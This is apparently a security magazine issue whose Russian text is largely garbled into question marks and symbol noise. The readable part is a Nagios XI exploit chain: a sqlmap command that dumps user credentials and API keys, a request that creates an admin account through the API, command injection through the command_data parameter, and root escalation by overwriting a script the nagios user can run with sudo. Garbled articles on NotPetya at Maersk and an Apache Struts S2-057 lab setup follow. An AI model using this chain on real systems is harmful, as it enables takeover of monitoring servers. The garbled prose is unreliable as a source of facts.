???�??�???�?燬QL????�????�燦agios�????爏qlmap
???�?� ???�?,� ???� ?????� ????�??�??� ???� ???� ???????�?� ?� ???�???� xi_users
??�???爊agiosxi.
python爏qlmap.py�u爃ttp://nagios.vh/nagiosql/admin/helpedit.php�
??data="selInfoKey1=1"�p爏elInfoKey1�D爊agiosxi�T爔i_users�C�
username,password,api_enabled,api_key�?dump
??�???�??�???�??�??�??�??�?�?�????燬QL????�????
??�????�?��???�??�??�???�???�??�??�??�????燗PI,��???�?????�???�?
??�??�?�?????�??�??�?????�??��????�?�?????�???�?��??�???.
/usr/local/nagiosxi/html/install.php
152:爁unction燿o_install()
153:爗
...
207:牋牋燾hange_user_attr($uid,�"api_key",爎andom_string(64));
??�???� ???�?,� ??????� ???�??�?� ?� ????�??� MD5.� ????�?� ???� ????�??�?
??????�???�?� ??????�?� ????�??� ??????,� ?� ???�?????�?� ???�??� ????�??
???�?� ???�???.� ?????�?,� ????� ??????� ??� ???�?� ????�??�?� ?????� ????�??,� ??
???�?�??�???????.
usr/local/nagiosxi/html/install.php
046:牋牋�$admin_password�爎andom_string(20,�"$#@!.,%^&");
...
205:牋牋燾hange_user_attr($uid,�"password",爉d5($admin_password));
...
213:牋牋爊agiosql_update_user_password("nagiosadmin",�$admin_password
);
????????�燗PI
???�?????,� ??????� ??� ??????�?� ???�?????�?� REST� API� Nagios� XI.� ???� ???
???�???�?�????�????�??�???�????�?.�????�??�???�??�?�??�???????
???�????�???�?????�?�????�????�??爏ystem/user.
??�??燗PI�??�??�????�???�?????�??�燦agios燲I
???� ???�?� ???�?� ????� ?????�???� POST????�??� ?� ???�???� ??????� ???�?
?�???燗PI,�??????�?�??�?????�?�??�???�??�???.
POST�/nagiosxi/api/v1/system/user?apikey=ietf9a45YnLEClWJVoKEBnGl
hcm47IeJc0Xla0JoIK2g6ef0GYUtFARcLdA9bNRH&pretty=1燞TTP/1.1
Host:爊agios.vh
Content?Type:燼pplication/x?www?form?urlencoded
Connection:燾lose
username=attacker&password=4ySlGxzVhI&name=Larry燜lynt&
email=lf@localhost&auth_level=admin&force_pw_change=0
???�????�???�?�????燫EST燗PI燦agios
?????�????�??�??�???????��??� auth_level.�???�?�?????�??��??
admin,� ??� ???� ????�???,� ???� ????�???�??�??� ????�???????� ?????� ????�??.
???�??��??�?.
??�???�???,�??�??????�?�??�??????,��???�?�???�??�???�??�??????�
??� ?????�???�?� REST� API,� ??� ?????� ???�?� ???�???�?� ??????�?� ????�?????�?
??????�??????�?.
?????????�?????????�?????�????�?????.燙VE-20188735
??�???� ???�?� ???�??�?� ????�???�?????�?� ???� ????�??�??�??� ?� ?????�???
???????��??????��??????�???�????�????�?????�??????�??.
?????�??�????�???�?��??�?�??�??�??�?????�???,�??�??��????�??
?????�?�???�??�???????�????�????�?????.
/usr/local/nagiosxi/html/backend/index.php
32:爎oute_request();
...
34:爁unction爎oute_request()
35:爗
...
49:牋牋�//燞andle爐he燾ommand
50:牋牋爏witch�($cmd)爗
...
78:牋牋牋牋�//燙ommand爏ubsystem
79:牋牋牋牋燾ase�"submitcommand":
80:牋牋牋牋牋牋燽ackend_submit_command();
??�???�?�???�????�??�?????,�??????�??�?????��????�????.�??�???�
??��????�??�???�??�?� command��??�???� submit_command�?????�???�???�
?????營D�????�?,��燾ommand_data��?�??????�?.
/usr/local/nagiosxi/html/backend/includes/handlercommands.inc.php
15:爁unction燽ackend_submit_command()
16:爗
...
22:牋牋�//燝rab爐he燾ommand爐o爎un...
23:牋牋爄f�(($command�爂rab_request_var("command",�""))�=�"")爗
24:牋牋牋牋爃andle_backend_error("You爉ust爀nter燼燾ommand�(and�
command燿ata爄f爎equired)爐o爎un燼燾ommand.");
25:牋牋爙
26:牋牋�$command_data�爂rab_request_var("command_data",�"");
27:牋牋�$event_time�爂rab_request_var("event_time",�"0");
28:�
29:牋牋�//燫un爐he燾ommand爐hrough爐he燽ackend�(don't爓ait爁or爄t爐o�
return)
30:牋牋�$command_id�爏ubmit_command($command,�$command_data,�$event_
time,�;
??�???�??�???�??�???�?????�?�??�????�?????,�?�???�燾ommand_da?
ta�???????�???�???�??�???�$(cmd),�?燾md�????�????�???.
POST�/nagiosxi/backend/index.php燞TTP/1.1
Host:爊agios.vh
Content?Type:燼pplication/x?www?form?urlencoded
Cookie:爊agiosxi=td9uet8udcotgm3c7s0604qbv7
Connection:燾lose
cmd=submitcommand&command=1111&command_data=$(touch�/tmp/executed)
???�??�??�????�????�?????�燦agios燲I
?� ??????�??,� ??????�??� ?????�????� ?????�?� ???�??� ??� ???�??�???.
???�???�?�??�??�??�???.�)
??�????��????.�???????�?????????�?燫OOT.燙VE2018-8735
???� ?????�?,� ???� ??� ??????�???� ?????� ????�?,� ?????�???�?� ?� ????� ????�
????�????,� ?� ??????�?� ???????� ???????�??,� ?� ????�?� ??� ????�?????�?� na?
gios.� ???,� ?????�?,� ???�?,� ??� ??� ???�??.� ???�?� ????????� ????� ???�???�??,
?� ?� ????� ???� ???????� sudo.� ???�????� ?� ????� ?� ???�???�?� ???�??�????�??
???�???爎oot.�???�??�??�????�?�??�??????��????�??�??�?.
????�??�?????�??�/etc/sudoers�燦agios燲I
?????�?燾hange_timeone.sh,� manage_services.sh,� upgrade_to_latest.sh,
reset_config_perms.sh� ?� ???�??� ???�????� ???� ?????�????� ?????� sudo
???�??�???�?????.�?????�??�?????��????�????�????�??.
???�???�????�????�?�????�???燦agios燲I
???�?????,�??�????�?�??�??�????�?????�???�?????�?� nagios.�?????�
??�?�????�??�??�?�?????�????�????�???�??�??,��??�??�??,�??�?
???�??� ?????�???� ???�?????�??� ?????�?� ??� ???�?� ?????�???�?????�?.
????�??�?�????�????�????�?????,�??????�??�??�� /etc/sudoers.�??
???�??�??�??,�??�????,�????�??:
POST�/nagiosxi/backend/index.php燞TTP/1.1
Host:爊agios.vh
Content?Type:燼pplication/x?www?form?urlencoded
Cookie:爊agiosxi=td9uet8udcotgm3c7s0604qbv7
Connection:燾lose
cmd=submitcommand&command=1111&command_data=$(cp�/usr/local/nagiosxi/
scripts/reset_config_perms.sh�/tmp/rcp.bak�&&爀cho�"touch�/tmp/
execroot"��/usr/local/nagiosxi/scripts/reset_config_perms.sh�&&�
sudo�/usr/local/nagiosxi/scripts/reset_config_perms.sh�&&爉v�/tmp/
rcp.bak�/usr/local/nagiosxi/scripts/reset_config_perms.sh)
??�??�????�??�?????�??�?????�?爎oot��??????爏udo
????�?� ??� ???????� ???� URL� Encoding.� ??????� ???�?� ???�??�?� ?????�???
?????�?�?�???!
???� ????�???�????� ????� ????� ?????�??� ???�????,� ?????�?� ??,� ?????�??�?
???�???�?�??????�??�??�???.�??????�??� ??�????�??�???�???�?.��??
???�?�??�???�???,�??�???�??�??燦agios,��???�?�??�?營P��??�??,�???
??????�???????�??�??????.��??????�??�?� ?c�??�?�???�?????,�????
?????�?�??�???�?�????�???�?�??????�??�???.
??�???�??�?????�??�??�??�??燦agios燲I
????????????�?????????�(?????)
??????
??�??�???�???�????�?????�??�????�?�燦agios,�??????�?????�?�????�
??????�???� CVE?2018?8733,� CVE?2018?8734,� CVE?2018?8735,� CVE?2018?8736.
??????�??????� ????� ?????� ????�?� ??� ???�??� ????� ???� ???�?� ?????�????�
??????�?�?�??????�??�???.
???� ???,� ????????� ??,� ????�??� ???�????�?� ?????� ???�?????� ????�????
????�???�??�???�?????????�???��????.�??�??�?�??�?�???�???,�???�
????�?� ???�????�???� ?????�?� ????�??�?� ?� ???�???�?� ????�??�??�???,� ?????
??� ????�???�???� ?� ??� ????�??�?� ???�??,� ???????� ???� ???�???�?.� ?????
??????�?�????�?�??�????��??????�??��?????�?????�??�??�???�??�?.
????� ??� ??????�??�?� ???�????�??,� ??,� ????�??,� ???� ???�??� ????� ??� ????�
??????�????�???�?.
?????
??????�?????
zlicin.v@gmail.com
???
??????????
???燦OTPETYA�???�?�??????
?????�??????�???????
???????�?????????????
???�??�???� ??????�????,� ???�??�????� ??� ????�??� ?� ???
???�??�???,�??�?????�???�??�???????????�???,�?�????
NotPetya�???�?????�??�?�????�??�??�?????�??�????,
?� ??� ??????�??� ???�???.� ???�???�?� ????� ?� ???�?????�???
??� ???�???� ????� ?� ???�??�??� ???�????� ?� ?????�?� ??????�
????�??�????�??�??�???�??�??�???�?.�????�?�????
????�???�??�??�??�???�??�???�????�??�燤aersk.�????�
???� ?� ???� ??????�??� ?� ?????�????� ???�???�???� ??� ????�?
???�?� ???�?????�???� ???�?????�??,� ??� ??� ???�??� ???????�
????�?.
????�??�?�????
???�??� ???�???�??� Petya� ??????�???� ???� 2016� ?????,� ???�?� ??????�?� ????�
?????� G� Data� ????�???,� ???� ????�???�?� ????�??� ??????�???�???� ???�???.
Petya� ???????� ??� ????�???� ????�?????�?:� ???�??�??�??� ???�????� ??,� ????�
?????� ???� ???�??� ?� ???�??� ?????� ??� ???�?????�?,� ???�??�??� ???�??,� ???
????�????�??�?�????�????牜????�??�???�??�??�??�??????�.
?�???????燩etya�??�????�??�??????,�??�????�???�?�?�??�?�??????�
??????�?�?�???�????�??�????�??�????.��???�???�?�??�???�????�?
?????�???� ????�?� ??� ???�??� ???�??�??� ??� Dropbox.� ????�?� PDF� ???� ???�?
Word,� ?� ???�???� ???????� ????�?????� ????�?� ??????�?� ????� ??????� ?� ????�
???�??,� ??� ????�?� ???????�?� ???????�???� ????� application_portfolio?
packed.exe.
??�???� ???�????� ?� ???????� ???�???� ?� �????� ?????� ????�?粻 ?� ???�????�
????� ???????�????.� ?????� ?????�???�???�??� ???????� ???�???� ???�???
MBR�??�??�?�??�?��????�?????�?�??????�??�??�??�??�??�????.
???�???�??�?????
???�?�?????�???�???????�??�??�?????�??�????�??�??�?�??�?�(CHKD?
SK),� ??,� ???�?� ???� ????�???????,� ?????� ??� ???�??�????� ???�????,� ?� ?????�
?????�?牜????�.��??�?????�???,�??�??�??�?�?�??�???�??�?�?????�
??????,�????�?�??�??�??�????�????�????.��????�??�??�???�??�???
???????燩etya�???�????�???�?????�?�??�?????�????��9�??�??�?�(????�
???�?�0�??�????�?�16�??)��??????�???�???.��??�??�??�??�??
Petya�???�???�??�?�?�8�??�??�?.
NOTPETYA��???????�??????燩ETYA
?�17�???燩etya�??�?�??��???�????��?�??��?????�???�??�??�???�
???.� ??????�?????�?� ???�???� ????� ???�?????�??� NotPetya� (???� SortaPetya,
ExPetr,� Petna,� Nyetya).� ????� ???�?� ??????�???� ???�????� ???�???� ????�????�
????,�??�?�??�???燩etya��???�???�???�??�??�??�???.
???� ???�???� ???�??�????� ???????�?� ??????�???� ??????�???� ???�????
????,�???�????�???�?�??�????�??�??????�??燤icrosoft燨?ce��??�??�???�
???� ???�??????� CVE?2017?0199� ?� ?????� ?????�??� ???????�??� O?ce
???� ???????�??� ???�?????�???� ????� ?� ???�???.� ????� ???�??�?� ???� ???�??
?�17�???,��???�?�???�?????�?燤icrosoft�??�???�??�??????�??�??.
???�??�??� ?� ???�???,� NotPetya� ??????�???� ???�???� Mimikatz,� ???????� ????�
????�?�???????�?????�???�?????�??燱indows�?�??�????�??�?????,�???�
??� ?????� ???�?????� ???�??� ??????� ?� ??????�??� ????.� ???� ???�??� ?� ??????
?????�???�
???�??�?,�
??�??�??�
????�??�???�
?????�???�????
???��11�???.
???�?????�??�??�???��?????牜???????粻????�?�?????�???�??�??�?
ETERNALBLUE,� ???????� ???� ??�????� ?� ???� ?� ???????� ?� ?????�??� ???�??
?????�???� ????�??� The� Shadow� Brokers.� �?????�????� ???�??�??�?粻 ?????�
????,� ???� ????�?� ???�???� ??????�?????� ???�?� ETERNALROMANCE� ?
???�???�??�??�???,�???�??�??��???�????.
ETERNALBLUE� ???�???�?� ???�??�??�?????� ???�??????� ?� ???�???�?� SMB:
??????�?�??�????�?�???�??????�??�??????�???�??�???????�????�???
???�?????�??�??�?�??�??�??�?????.
???�????�???� ?� ???�???� ?� ???????� ???� ?????�??� ?????�??�?,� NotPetya
???�???燤FT�(Master燜ile燭able)�??�????燦TFS��?????�???�???燤aster燘oot
Record� ???�?� ???�????�??,� ???????� ??????�???� ?????�??� ??????�???�???
????�????.� ???� ????� ??� ???�????� ?????,� ???????� ????� ????�??�??�???
?燩etya.
??�??�??�?�???燦otPetya
?�???�??�?燩etya�燱annaCry,�??????�??�?�??�??�??�????燛TERNALBLUE,
NotPetya��??�?�??�?????�?????�???.�???�?�?????�???�?�?????�???
??????�?????� ??� ???� ????�?.� ???�????�??� ???�?� ???�?� ????� ?????�???
??�??�??�??�??????,�?�??�?��???�?�???.�?�????�??�?�???�?�???�
???,�??�?�??????�??�??�?�???�??�??�?????�?.
???� ????� ????�??�??� ???�???� ???�???�???� ?� ???,� ???� NotPetya� ????�?
????�????� ????� ?� ???� ??� ?????� ??????�?.� ?????�???� ????�?� ???�???�?
????????�??�?,�????�??�??�?�???�?�?????�??,�???�?�????�???�??�?
????�???�??????�??��????�??�?????�???�?.
INFO
???�?????��???�?????�??�????��????�????�
??� 玃etya,� NotPetya� ???� Petna?� ???,� ???� ???�?
?????��????�??�????�.
??????�??????,�????�???�??燭he燝rugg,�??�????�???�?????�??��??,�??
NotPetya� ?� ???� ??� ????�??� ?????????�?????�??,� ???�?????� ?� ?????
??????�???�???.� ??� ???� ???�??,� ?????�?????�??�??� ???�??� Petya� ?
???�?????�????,�??????�??�?�??�?????�????�???�??�??�????.
??�??� ???� ???�?????� ???�??� ??????�?� ?� ????�??� ???�??� ?� ???�????
NotPetya�??�??�?????�????�????�??�?��???�??,�????�??�???????�???�
???�?????� ????�?� ?� ???�??????�????� ???�?????�???� ?� ????????� ????
?????�??.�??�??�??????�??�?????�?�??�?�??�???,�??燦otPetya�??�???�
???�??�??�??�?�?????�?�??�???�??�??�??�??�?????�???�??�??��???�
?????�???�?????�16�???.
NOTPETYA�????�?�???????
??�?�??�??�?燩etya�???��???????�??�?????�?��??????燞R,�?燦otPetya
???� ?????� ???????�???.� ???�?� ???�???� ???�???� ???�?????� ?????� ?????�?,
???� ????�???,� �??�????�,� �??�????�,� �???� ???�??粻 ?� ???�??,� ?� ?� ???
????�?��??�??.
???�???�??�????�??�?�???�??,�????�?�??�??�???�???�?�???:�???�
??,�???�????�??�?,�???�??�?,�??�?????�????�??�??�?��???�??????�??
???�????��???�????�???�???��?????�???.��???�?�??�??�??�??�???
????�????�??� ????� ????�??,� ????�???� ????�???� ?� ????� ?????�??�?� ????�
??????�??,� ???????� ??????�?� ???� ?????�???�?� ???�???�???� ????�??�?
??�??�?????�???�??.
???� ??????�??� ????�?� ????� ???�???� ??� ????� ????� �??????�.� ???�????,
?� ???� ???�????� FedEx� ?????�?,� ???� ???�?� NotPetya� ?????�?� ????�?� ????�?
???� ??� 400� ???�?????� ???�????.� ???�?� ???�??� ???�??�??�??� ?� ???�?????�
?????�??�?????燤erck�(870�??�?????),�???�??�???�???�????�??�??�????
�????????粻 (384� ???�????),� ???�????�???� ???�???�?????� ???�??�??� Mon?
del?z�(???�????�??�???�????�????�???��??燙adbury),�??�??�???燫eckitt
Benckiser�(???�???�?�???�?燚urex)��??�??�???�??��??�??�???�??�???.
?� ?????� ??� ???????�??� ????� ???�???� ??� ????� ???�????� Maersk.� ????�
??????�?,� ???????� ???�???� ???�???� ???�????�??� ????�??� Wired,� ???�???�?
???�???� ???�???� ???�?,� ???????� ???�????�??� ??� ???????� ????�???� ????�
????.� ???????�?� Wired� ????�?� ???�????� ??????�?� ??????�?� ????�??�??�?,
???�????� ??????�??� ??� ?????�??�??�????�??� ??????� ?� ?????�?????.
??� ????�?� ???�?????�?� ??� ????� ???�??�??� ???�??�??� ????�?� ?????� Wired
?????�???�??�??.
NOTPETYA�?????��??????�??
27�???�17�???��??�???�??�????燤aersk,�??????�???�???�?�???�??
????�???�??�???�??�???�???�??,�???�?�????�?????,�??�??�??�???�?
?????� ????� ??� ????�??.� ?� ????� ??� ?� ???????� ?� NotPetya� ?????� ??� ???�???
????????�?�????�????�??�?�??�????�????燤aersk燣ine.�???�????�???�
?????�??�??�??�??燤aersk�??�???�??�???�?��??�??�??.
???�????�?� Maersk� ????� ??� ???�??� ??????� ??� ????�??� ???????� ???�????
????�????� �??�??�??�????� ???�??� ??� ???�?� C粻 ?� ?????�??� ??� ???�?????
?� ??� ???????�?????� ???�???.� ?� ???????� ???� ???�????� ??� ????�??????� ????�
??????�?�??�?????�?�??�??��??�????�?????�?�??�???�??�???�?�??
???�????�??��??�??�??.�???��????????�???燤aersk�???�???????�?�
????.
????�?�????�??�????�????�?????�??????
NotPetya�???�?�??????�營T??????,�??��???�?????�???�?????�?�??????�
??�??????�??�???�??�??�?�???�??????�??�????�??��????�??�?????�
???� Maersk.� ?????� ?????� ?????�???� ??????� ???????�?,� ???�??????�????
??�???��???�???�??�?????.�???�???�?�??�??燦otPetya�?�??�?�????�
????� ???�???� ?� ????� ???�????�??�?� ??� ???� ????�????.� ??????� ???????�?
?????�?�??????�?????�????�???,�?????�????�?�???��?????�????�???
???�?,� ??????� ????�??� ?� ???�???� ?� ???�??�??�?� ???�????�??� ?????� ????�
??????�??.
?�???�?????燦otPetya�??�??�?�??????�????�?�??�??燤aersk��???�
???� ???????� ?� ????�??� ?� ???�????� ???�??� ???�????�??.� ???�?� ???�??????�
???�??�????�??�??�???�?????:燤aersk�??�???�?.
?�??? ??? ????????
?�???�17�???�?????�???�???�??�???燣inkos,�???�??�??�?�??�????
???????�??� ????�??�??�?� ???�???�?� M.E.Doc.� ????�??�???� ????�??� ?????�
????????� M.E.Doc� ???� ???�????� ???????�??� ?� ????�???�??� ????.� ????�?
????�???� ????� ???� ??????� ???�????:� ??� ?????�??�?� ???�????�???� ???�?
???�???�??�??燤.E.Doc.�??燦otPetya��??�??��???????�???燤aersk.
????????�???�?????!
??�?� NotPetya� ???�????�?� ???????� Maersk� ??� ?????,� ???�????�?� ???�??????�
???� ??????� ??� ???�?� ???�??� ?????????�???,� ???�??�?????� ???�?� ???�??
?� ???????�??� ?� ???�???�???�?� ????�????.� ?????�???�??� ??????�?� ????
?????�???� ???� ??� ????????� ????????�?� ???�???�????� ??� ????�??�???,� ???
?�?????�???�??�?????�???�??�??�???.
???�?�??????�????�??�????�??�??�??�?�???�???,�??�????�??�????�
??� ???�?� ??????� ??????� ?� ???�??� ??� ???� ??????� ???�?????�?� ??� ?????,
??� ????,� ???�?� ???� ???�??� ???�???�?� ??� ??????� ?� ???�??� ??� ????�?.� ???
???????�???�??� ?????�??� Maersk� ??????,� ???� ??� ??,� ??� ?????� ??� ??� ?� ?????
??????�?��??????.�?�??????,�??�?�??�?,�????�?�??�???�????�?�???�
???�??�????�?????.
?�???�????�??
???�??�???� ??????� ??� ????�?� ?????????�???� Maersk.� ?� ????� ???�??�???�??
???�????�?燱ired�?????�???�?��??�???�?�??�????���????�?????�???�
??��???????�?�(????�?�?��??�??,�??�?????�?燤aersk).�??�?????,�??
????????�????�??�??�???�????�?�????�??�????�??�??????,�??????
???�???�?��????�??�??�??��??�??.
?� ?????� ????�?� ????????�?� ?????� ????� ??� ????� ???�???�?� ???� ??????
???,� ???????� ??????� ???�???� ??????�?� ?� ??� ???�???� ????�??� ??� ?????
?� ????�????.� ???�?� ????�?????,� ???� ??????� ?� ?????�????� ???�??�????
???�???�????�????�????,�?????�???�?.
NotPetya�????�???�??�???�????�?�?�????��??�??,�??�?????�?燤aer?
sk.��??�?�???????�?�?????�???�????�??�??�?????�???��?�??�???�
????�?????��????�??燤aersk,��????�??�????�??�??�?????�??�??�???.
??????�?�??�???�??�??�???�???�???�??�?��???��?�????�???�?�??�?
??�????�?????.�??�?�?�??�????�??�?�??????�??????�??�??�????�??
???�???�????�?�???????�??燤aersk,��?????�??�??�????�?�??�?�????�
??????�?��?????�??�????��??�????�??�????�????.
???�???�?�????�??�??��??�??�????�???�??�??�??�?,�??�??�??�???�
????� ????� ????�?????� ???� ???�?� ???�???� ???�?????� ??� ???�?� ???�??????.
????�?�??�????�???�???�??�?????�???,��???�??�??�??�??,�??????
???�?????�?????�???�???��????�?,�??�???�???�??�?�??�??�???.�???�
????�???� ????�?� ????�?????� ???�??� ???????�????� ?� ????�?????� ?????� ????�
????�?????�???,�???�?�??????�????�???�?�???�???.�??�??�???�???
?�??�?�????�??�????��??�????�??�????,�??��?�??�????.
?�?�??�?????�???�??�?????,�??�?�?????�?�??�???�??�??�??????
??�??�?燤aersk.�??�????�???�??�?????�?????�???�?.
????�?????�牜??-?????�
Wired� ???�??�???�?,� ???� ????�?� ???�???�?� ????� ???�?� ????�??�?� Maersk
?� ????�??� ?????�?� ???�???� ?� ??????�???� ??????� ???�??�??� ???�????�??
??� ???�?� ???�???� ????:� ????�???�??� ??� ???� ???�???�?� ?� ????�??� ????
??????�????�????� Maersk� Group� Infrastructure� Services� ???�???�?� ?� ???????�
????� ?� ?????.� ????????� ???�???�???� ????�??� ???�?,� ?� ?????� ????� ??� ?????
???�??���??�???????????.�??�?,�??��????�??�?燤aersk,�????�?????
??��???.
??� ???�???� ????�?� ???�?????�?� ???�?????�????� ???�????� Deloitte.
???????�??�?� ?� ???�?� ???�??�???� ???�?� ????????�?� ??� 200� ???�????�??
Deloitte��?�0�???�??�???�??燤aersk.
???� ???????�??� ???�???� ?� ???�????�??� ???�????�???� ?� ???�???�???
??????�?�??�??�???�???,�??�?�??�??�?�??�??�???????�???????.�???�
?????�?� ????�??� ?????� ???�??� ????� ???�??�??�???� ??� ???????,� ??????�??
??�??????�???�??�???�?�7�???�?�??�??.
?�???�?�?�??�??�??�??�??�?��?�?????�???�?�??????�????�????
Maersk� ???�???� ????�?� ???�?????� ?????� ???�??� ???�???�????� ??????.
??�??�??�?????�???�??�??�??��????�??�????�??�??�????,���??�??
??????�??�??�???�???�???�?�??�?????�?????.
???????????�??????????
???�?� ?� Maersk� ????� 150� ???�???�????� ??????� Windows,� ???????� ???�?
?�????�?�?�??????.�??�??�???�????�???��??�??,�??�???�???�?????�
???�???�??�??� ????:� ???�???�?,� ???� ???� ??????�?� ???�??� ?????�??� ??????
??????.� ??� ??� ???�?� ???� ???� 150� ???�????� ???????�??�?� ???????� ??� ?????
????�??�?????�??.
???�?� ????????,� ???� ???� ???� ??????�?,� ???�????�??� Maersk� ????�?????
???�?:� ???� ????�???�?,� ???� ????� ???�????� ?� ????� ?� ????� ????� ??� ???????
?????� ?????�????� ????�??�??�??� ?� ???� ???�?????� ????�?� ??� ???�???�????
??????� ????�???� ??????�??.� ???� ???� ??� ????�??�??� ???�??�??�?� ?????�???�
????�??�???�??�???�?!
??�???� ????�??�???� ??????� ????�??� Maersk� ????� ???� ????.� ?????
???????�??�???�?�??�???????,��???????��???�?�???�???�?�????�???�
??� ???�??�???.� ??????�?� ???�??� ???�???� ??????� ???�???�?� ?????,� ???????
???�???� ??� ?� ?????� ???�????.� ???� ????� ??� ?� ????� ??� ???�?� ?� ????� ??� ????
???�??�???� ????,� ?� ????�???� ????�???�?????� ??????�?� ???�??�?� ???�?
???�??�??�????�?�???�??�????�??��??????.
???�????�?� ???????�????�????� Maersk� ???�????�?,� ????�??� ????� ???
?????� ???�???� ??????� ???�????,� ?� ???�???�?� ?� ?????�???� ???�??� ????�?
???????� ????????� ???????�??� ???� ????� ???�??.� ??� ???�??� ???�???�?� ????
???�????�?燤aersk�?????�?�????�??�??�?????�????�??:��??�??�??�??
????�???� Gmail� ?� ????� WhatsApp.� ???�?????,� ???????� ???�????� ?????� ????�
???�???�??�???�?�??�??????��???,�?�??�??�???�???�?�?�???��???�
??????�?.
???�????�??�????�?�???�???��???�??�??�??�?��??�???�???�??�?.�?,
???��????�??????,燦otPetya�???�??�???�???��??�?�???????�??�??�(?
??� ?????)� ???????�??� ??� ?????�??�??� Maersk� ???� ??� ????� ?� ??????.� ???�?
???��??�?�??�?????�??�????.
???????????��?????��??????
??�?????�???,�??????���???,�??�????�?燤aersk�???�?�??�??�?????
?????� 4000� ???�????� ?� 45� 000� ???�??????.� ???�??� ??,� ???�?,� ??� ?� ????�?
?????�???�??:� ???�??�?� 300� ???�?????� ???�????� ???�?� ????� ??????�?
???�????� ?????� ???�?� NotPetya.� ?� ???� ????�?� ???�????�??� ???�?:� ???
???????�?燱ired�??�???�??????,�??�??�???�???�?????�?.�???�??�???�
?????�?????�??�??�?�?��???�??�??�?????��??�?�????�??�??�???�?.
???�??????�??�??�??�??????�??????,�??�?????�?�燤aersk�????�??
????� ?� ???????�?????.� ??????�???�?� ???� ??,� ???� ?????� ???�????� ?????
??????�?� ??� Windows� 2000,� ???????�??� ???????� Microsoft� ????�?????
?�??????�09�???.�?????�?,�???????�???�???�燤aersk,�?????�?�???
???�??�?????� ???�??:� ????� ??� ?� ???�????� ???�???� ???????�????� ????�?
???�????,� ??� ??� ???�??�??�????� ???�?� ???�?� ????� ??� ?� ????� ????�?� ????�
????.
???????�??�????
??�?�???�?�??�?牜?????粻?�??????�??�???�???�????�?????��???�????�
???�??燱indows��??�?????�???�?�??�??�?�??�?,�?�??�??�??�???�???
???� ??????�?� ??????�???� ???�????�??� ?????�??�?.� NotPetya� ???�????
??� ????�?� ???????� ????�?????�??,� ??� ?� ???�???�???????�??,� ???�??�???
???�????,� ???�???�????�????� ?� ???� ?????.� ????�???�??� ??� ???� ???� ????
????�?????�?� ????�???� ???�???�???� ?� ????????� ????�?,� ?????� ???�??� ???
??????�?????�?????�??�???�??�????�?��????�??�???�??�??.�??燦ot?
Petya� ??????�???�?� ???� ???� ?� ?� ???�??� ???�??� ????� ??� ???� ???�?.� ????
?????�??�????� ?????� ???�???????�??� ???� ???�???�??� ??????????�???
?????�??�????�???�???�????�??�??.��??�??�??�?��?��??�??�???�
????.
?????
????????????
??? ????????????
aLLy
ONsec
@iamsecurity
???�???????�????
RCE???????????
?燗PACHE燬TRUTS�
??� ????�???�?� Apache� Struts� 2,� ?????�??� ?� ????�?� ???�??� ?� Equifax,� ???�?
???�??�??� ????.� ???� ???�???�?� ???�???�????�?,� ??� ????� ???????� ????
?� ???�???,� ?????�???� ???�?????�??� ???� ??� ???�?� ????� ????�?????�?,
??�?????�?�??????�??????�??.�????�??�?????,�??�??�??�??�???�?�??
???�??????.
INFO
?� 2017� ????� ??� ???�???�???� ???� ???�????�?
?� Struts� 2,� ???� ??� ???????� ???�???�?� ?� ??????�
?????�??�?????�???�???��??�???.� ??�?�???
???�???��????�???�?燫EST燗PI,��??�??�??�??
?� ???�?????� ???�?� OGNL� (????�?,� ????�?� ???
?�??�???燛quifax).
???�???�????�????�???�???�???�?�?�(Man燳ue燤o)�?燬emmle燬ecurity
Research爐eam��???�?�18�???.�??�???�??�??�?????�??�??�??�????�
????�?� ??� 2.3.34� ?� 2.5.16� ????�?????�?.� ???�?????� ?????� ????�???� ?????�
????�??� namespace� ?� ???�???�??� ?� ???????� ???????�?� ?� HTTP????�???.
???� ????� ??� ?????� ??� ????�??�???� ???�???�???� Struts� ?� ?????� ????� ????�
??????�??� ????�??,� ???????� ?????� ??????�?� ?� ???�??� ???�????� ????�???�??
OGNL�(Object?Graph燦avigation燣anguage).��??�??�??�?????�燫CE.
???�??????�?????�?�???�?????�???�?????�??� S2?057�(CVE?2018?11776)
?� ???�??� ???�????�??.� ?????� ???�?????�?,� ?????� ???�???� ?????�???� ????�
?????�???�?�???�??.
?????
????� ??� ???�????� ???�???,� ???�?� ???�????� ????�?� ??� Java� ??� ????�???�???
???????�???�??.��????�??�??????�???��???�?????�?????� Apache� Tom?
cat�??�??�5.20�??燱indows.�???�????�???�?�??�?????�??�????�???�
???�??�?�3��3.34.� ???�???�?�??�?��??�????�???�??�???�???????
???�??.
?� ????�?� ???� ?????� ????�???�???� ????�?� ????� struts2?showcase.war
??�??�?� apps.�?�???,�??�??�?�????��??�???燴IP.�???�?�??�????�??
?�????�????爓ebapps/struts2?showcase.
???�??�?�??�??�????�????.�???�???�???�?�??�???�??�??�???�????�
???� ???� ???�?????�??� ???�????�?.� ???� ???�?� ????�??�???�?� ?????�????
???�?� struts?actionchaining.xml�?�????�????� struts2?showcase/WEB?
INF/classes.
/webapps/struts2-showcase/WEB-INF/classes/strutsactionchaining.xml
<?xml爒ersion="1.0"爀ncoding="UTF?8"�>
<!DOCTYPE爏truts燩UBLIC
�"?//Apache燬oftware燜oundation//DTD燬truts燙onfiguration�3//EN"
�"http://struts.apache.org/dtds/struts?2.3.dtd">
<struts>
�package爊ame="actionchaining"爀xtends="struts?default">
牋�action爊ame="actionChain1"燾lass="org.apache.struts2.showcase.
actionchaining.ActionChain1">
牋牋�result爐ype="redirectAction">
牋牋牋�param爊ame��"actionName">comehere</param>
牋牋�/result>
牋�/action>
�/package>
</struts>
???�?�
???�?�
?????�???�
???�??,�
??????�??�
??�
????�?
http://127.0.0.1:8080/struts2?showcase/index.action��??�???�?�??�???�????�
???�???�???��??�???�?�?????�??????燬truts�
??�????��????�????�??�????�燗pache燬truts�3.34
??�?��???燣inux,�?�??????�??�????燚ocker��??�???�????�????�?????�
???:
$燿ocker爎un�d�p�80:8080爒ulhub/struts2:2.3.34?showcase
???�?�??�?�?�?????�???�??�???????�???� /usr/local/tomcat/webapps/
ROOT/WEB?INF/classes/struts?actionchaining.xml� ?� ??????�??�???
Tomcat.
???�????�??????�??�???�?????�????�??�?�???�????�營ntelliJ營DEA.
????�?�?????�??�?��??????�???�(/struts?2.3.34/src),��??��??�???
??????�??�???��??�???�???燬howcase�????燤aven.
???�?????�??�????�?�??�???�??燬truts�howcase�營ntelliJ營DEA
????�?� ??????� ????????� ?????� Debug� ??� ????� Run,� ???�???� ????�?
?�???????�??�???�???�???�?.
??????????? ??????
?
? �?????�?????
?????
???????????? ???
????????????
???�???????�????燫CE???????????
?燗PACHE燬TRUTS�
??????�?????????
